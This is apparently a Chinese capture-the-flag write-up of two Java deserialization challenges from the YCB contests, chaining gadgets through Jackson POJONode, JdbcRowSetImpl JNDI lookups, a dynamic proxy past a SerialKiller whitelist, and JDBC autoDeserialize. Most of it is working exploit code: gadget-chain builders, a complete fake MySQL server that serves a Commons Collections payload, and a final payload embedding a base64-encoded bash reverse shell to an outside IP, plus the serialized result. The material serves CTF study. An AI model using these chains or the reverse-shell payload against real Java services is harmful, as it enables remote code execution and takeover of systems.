2024YCB java 除了这个链子还可以尝试JRMPClient去打二次反序列化绕过waf,(burp记得url编码,不然+认为空格返回error卡了这里)
两条链子加上传配合打jdbc 确实精彩
找到string类的getgift 里面有invoke 然后user/ser里面还有readobj
1 2 3 4 5 6 7 8 9 @ResponseBody public String ser (@RequestParam("ser") String ser) throws IOException, ClassNotFoundException { byte [] decode = Base64.getDecoder().decode(ser); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); byteArrayOutputStream.write(decode); MyObjectInputStream objectInputStream = new MyObjectInputStream (new ByteArrayInputStream (byteArrayOutputStream.toByteArray())); objectInputStream.readObject(); return "Success" ; }
所以Gadget找 readobj -> tostring用EventListenerList#readObject -> toString
然后调 POJONode#toString -> getter 打jdbc
还用了上传文件jar读取类
看下最后的链子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 package com.example;import com.fasterxml.jackson.databind.node.POJONode;import javassist.ClassPool;import javassist.CtClass;import javassist.CtMethod;import com.example.bean.User;import javax.swing.event.EventListenerList;import javax.swing.undo.UndoManager;import java.io.*;import java.lang.reflect.Field;import java.util.Base64;import java.util.Vector;import java.sql.Driver;import com.sun.rowset.JdbcRowSetImpl;public class EventListenerListReadObject2ToString { public static void main (String[] args) throws Exception{ JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl (); String url = "ldap://ip:2333/EXP" ; jdbcRowSet.setDataSourceName(url); User user = new User (); user.username="jar:file:/templates/yaml-payload1.jar!/" ; ClassPool pool = ClassPool.getDefault(); CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode" ); CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace" ); ctClass0.removeMethod(writeReplace); ctClass0.toClass(); POJONode node = new POJONode (jdbcRowSet); EventListenerList list = new EventListenerList (); UndoManager manager = new UndoManager (); Vector vector = (Vector) getFieldValue(manager, "edits" ); vector.add(node); setFieldValue(list, "listenerList" , new Object []{InternalError.class, manager}); byte [] code = serialize(list); System.out.println(Base64.getEncoder().encodeToString(code)); unserialize(code); } public static Object getFieldValue (Object obj, String fieldName) throws Exception{ Field field = null ; Class c = obj.getClass(); for (int i = 0 ; i < 5 ; i++) { try { field = c.getDeclaredField(fieldName); } catch (NoSuchFieldException e){ c = c.getSuperclass(); } } field.setAccessible(true ); return field.get(obj); } public static void setFieldValue (Object obj, String field, Object val) throws Exception{ Field dField = obj.getClass().getDeclaredField(field); dField.setAccessible(true ); dField.set(obj, val); } public static byte [] serialize(Object obj) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (baos); oos.writeObject(obj); return baos.toByteArray(); } public static void unserialize (byte [] code) throws Exception{ ByteArrayInputStream bais = new ByteArrayInputStream (code); ObjectInputStream ois = new ObjectInputStream (bais); ois.readObject(); } }
本地打通神清气爽,一步步分析出来
下面是之前的文章了,反正都是ycb,索性粘在一起
YCB2020 a_piece_of_java 发现自己有难得的java环境 遂复现
Java 源码审计反序列化题,分为两步:
源码中对 cookie 的反序列化,里面有 SerialKiller 的白名单限制(而 SerialKiller 同时也引入了 apache-commons-collections 的危险依赖),通过动态代理构造 payload 触发连接数据库的操作。
JDBC 反序列化攻击 apache-commons-collections 执行命令。
简单看一下源码,有个连接mysql数据库,jdbc 还有个简答的userinfo类
然后就剩一个maincontroller
内容不多,两个页面,然后反序列化,用了base64
/index里面查看cookie 符合的话可以到/hello
1 2 3 4 5 6 7 8 9 public String index (@RequestParam("username") String username, @RequestParam("password") String password, HttpServletResponse response) { UserInfo userinfo = new UserInfo (); userinfo.setUsername(username); userinfo.setPassword(password); Cookie cookie = new Cookie ("data" , serialize(userinfo)); cookie.setMaxAge(2592000 ); response.addCookie(cookie); return "redirect:/hello" ; }
有一个奇怪的依赖
1 2 3 4 5 <dependency > <groupId > org.nibblesec</groupId > <artifactId > serialkiller</artifactId > <version > 3.0</version > </dependency >
去maven查一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <dependencies > <dependency > <groupId > commons-collections</groupId > <artifactId > commons-collections</artifactId > <version > 3.2.1</version > </dependency > <dependency > <groupId > commons-configuration</groupId > <artifactId > commons-configuration</artifactId > <version > 1.10</version > </dependency > <dependency > <groupId > commons-lang</groupId > <artifactId > commons-lang</artifactId > <version > 2.6</version > </dependency > <dependency > <groupId > commons-logging</groupId > <artifactId > commons-logging</artifactId > <version > 1.2</version > </dependency > </dependencies >
里面有cc链 呢是jdbc打cc链了
直接打会报错HashMap whitelist not match说明有限制,有过滤什么的
文件里面有serialkiller.conf
只能使用java.lang和gdufs
两个路径的类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?xml version="1.0" encoding="UTF-8" ?> <config > <refresh > 6000</refresh > <mode > <profiling > false</profiling > </mode > <blacklist > </blacklist > <whitelist > <regexp > gdufs\..*</regexp > <regexp > java\.lang\..*</regexp > </whitelist > </config >
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 private void connect () { String url = "jdbc:mysql://" + this .host + ":" + this .port + "/jdbc?user=" + this .username + "&password=" + this .password + "&connectTimeout=3000&socketTimeout=6000" ; try { this .connection = DriverManager.getConnection(url); } catch (Exception e) { e.printStackTrace(); } } public Boolean checkAllInfo () { if (this .host == null || this .port == null || this .username == null || this .password == null ) return Boolean.valueOf(false ); if (this .connection == null ) connect(); return Boolean.valueOf(true ); } public String getAllInfo () { return "Here is the configuration of database, host is " + this .host + ", port is " + this .port + ", username is " + this .username + ", password is " + this .password + "." ; }
jdbc连接,
this.connection = DriverManager.getConnection(url);这里触发
它又可以通过getallinfo触发
getallinfo看看在infoinvocationhandler里面的invoke触发 ,他都invoke了
可以使用动态代理,动态代理调用invocationhandler类 都会触发invoke
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public class InfoInvocationHandler implements InvocationHandler , Serializable { private Info info; public InfoInvocationHandler (Info info) { this .info = info; } public Object invoke (Object proxy, Method method, Object[] args) { try { if (method.getName().equals("getAllInfo" ) && !this .info.checkAllInfo().booleanValue()) return null ; return method.invoke(this .info, args); } catch (Exception e) { e.printStackTrace(); return null ; } } }
所以就是
1 2 3 connect()->DriverManager.getConnection(url) checkAllInfo()->connect() InfoInvocationHandle->invoke->checkAllInfo()
启动一个恶意的mysql服务器rce
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 import socketimport binasciiimport osgreeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400" response_ok_data="0700000200000002000000" def receive_data (conn ): data = conn.recv(1024 ) print ("[*] Receiveing the package : {}" .format (data)) return str (data).lower() def send_data (conn,data ): print ("[*] Sending the package : {}" .format (data)) conn.send(binascii.a2b_hex(data)) def get_payload_content (): file= r'payload' if os.path.isfile(file): with open (file, 'rb' ) as f: payload_content = str (binascii.b2a_hex(f.read()),encoding='utf-8' ) print ("open successs" ) else : print ("open false" ) payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878' return payload_content def run (): while 1 : conn, addr = sk.accept() print ("Connection come from {}:{}" .format (addr[0 ],addr[1 ])) send_data(conn,greeting_data) while True : receive_data(conn) send_data(conn,response_ok_data) data=receive_data(conn) if "session.auto_increment_increment" in data: _payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000' send_data(conn,_payload) data=receive_data(conn) elif "show warnings" in data: _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000' send_data(conn, _payload) data = receive_data(conn) if "set names" in data: send_data(conn, response_ok_data) data = receive_data(conn) if "set character_set_results" in data: send_data(conn, response_ok_data) data = receive_data(conn) if "show session status" in data: mysql_data = '0100000102' mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000' mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000' payload_content=get_payload_content() payload_length = str (hex (len (payload_content)//2 )).replace('0x' , '' ).zfill(4 ) payload_length_hex = payload_length[2 :4 ] + payload_length[0 :2 ] data_len = str (hex (len (payload_content)//2 + 4 )).replace('0x' , '' ).zfill(6 ) data_len_hex = data_len[4 :6 ] + data_len[2 :4 ] + data_len[0 :2 ] mysql_data += data_len_hex + '04' + 'fbfc' + payload_length_hex mysql_data += str (payload_content) mysql_data += '07000005fe000022000100' send_data(conn, mysql_data) data = receive_data(conn) if "show warnings" in data: payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000' send_data(conn, payload) break if __name__ == '__main__' : HOST ='0.0.0.0' PORT = 3309 sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1 ) sk.bind((HOST, PORT)) sk.listen(1 ) print ("start fake mysql server listening on {}:{}" .format (HOST,PORT)) run()
发现我服务器有GitHub - fnmsd/MySQL_Fake_Server: MySQL Fake Server use to help MySQL Client File Reading and JDBC Client Java Deserialize
然后是 写payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 public class exp { public static void main (String[] args) throws Exception{ Info databaseInfo = new DatabaseInfo (); Class c = databaseInfo.getClass(); Field usernamefiled = c.getDeclaredField("username" ); usernamefiled.setAccessible(true ); usernamefiled.set(databaseInfo,"123" ); Method getUsernameMethod = c.getDeclaredMethod("getUsername" ); getUsernameMethod.setAccessible(true ); String username = (String) getUsernameMethod.invoke(databaseInfo); System.out.println(username); DatabaseInfo databaseInfo1=new DatabaseInfo (); databaseInfo1.setHost("" ); databaseInfo1.setPort("" ); databaseInfo1.setUsername("" ); databaseInfo1.setPassword("" ); InfoInvocationHandler infoInvocationHandler=new InfoInvocationHandler (databaseInfo1);; Info info = (Info) Proxy.newProxyInstance(databaseInfo1.getClass().getClassLoader(),databaseInfo1.getClass().getInterfaces(),infoInvocationHandler); ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (baos); oos.writeObject(info); oos.close(); System.out.println(new String (Base64.getEncoder().encode(baos.toByteArray()))); }
最后就是这样
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public static void main (String[] args) throws Exception{ DatabaseInfo databaseInfo = new DatabaseInfo (); databaseInfo.setHost("vps" ); databaseInfo.setPort("3306" ); databaseInfo.setUsername("yso_CommonsCollections5_bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzExNi4yMDQuMTEyLjEyMS82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}" ); databaseInfo.setPassword("123&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor" ); InfoInvocationHandler infoInvocationHandler = new InfoInvocationHandler (databaseInfo); Info info = (Info) Proxy.newProxyInstance(databaseInfo.getClass().getClassLoader(), databaseInfo.getClass().getInterfaces(), infoInvocationHandler); ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (baos); oos.writeObject(info); oos.close(); System.out.printf(new String (Base64.getEncoder().encode(baos.toByteArray()))); }
1 2 rO0ABXN9AAAAAgAUamF2YS5pby5TZXJpYWxpemFibGUAHmdkdWZzLmNoYWxsZW5nZS53ZWIubW9kZWwuSW5mb3hyABdqYXZhLmxhbmcucmVmbGVjdC5Qcm94eeEn2iDMEEPLAgABTAABaHQAJUxqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uSGFuZGxlcjt4cHNyADRnZHVmcy5jaGFsbGVuZ2Uud2ViLmludm9jYXRpb24uSW5mb0ludm9jYXRpb25IYW5kbGVyY59H/KdZhO8CAAFMAARpbmZvdAAgTGdkdWZzL2NoYWxsZW5nZS93ZWIvbW9kZWwvSW5mbzt4cHNyACZnZHVmcy5jaGFsbGVuZ2Uud2ViLm1vZGVsLkRhdGFiYXNlSW5mb19JEpYnRJPdAgAFTAAKY29ubmVjdGlvbnQAFUxqYXZhL3NxbC9Db25uZWN0aW9uO0wABGhvc3R0ABJMamF2YS9sYW5nL1N0cmluZztMAAhwYXNzd29yZHEAfgAJTAAEcG9ydHEAfgAJTAAIdXNlcm5hbWVxAH4ACXhwcHQADzExNi4yMDQuMTEyLjEyMXQAZTEyMyZhdXRvRGVzZXJpYWxpemU9dHJ1ZSZxdWVyeUludGVyY2VwdG9ycz1jb20ubXlzcWwuY2ouamRiYy5pbnRlcmNlcHRvcnMuU2VydmVyU3RhdHVzRGlmZkludGVyY2VwdG9ydAAEMzMwNnQAgXlzb19Db21tb25zQ29sbGVjdGlvbnM1X2Jhc2ggLWMge2VjaG8sTDJKcGJpOWlZWE5vSUMxcElENG1JQzlrWlhZdmRHTndMekV4Tmk0eU1EUXVNVEV5TGpFeU1TODJOalkySURBK0pqRT19fHtiYXNlNjQsLWR9fHtiYXNoLC1pfQ==
页面也有回显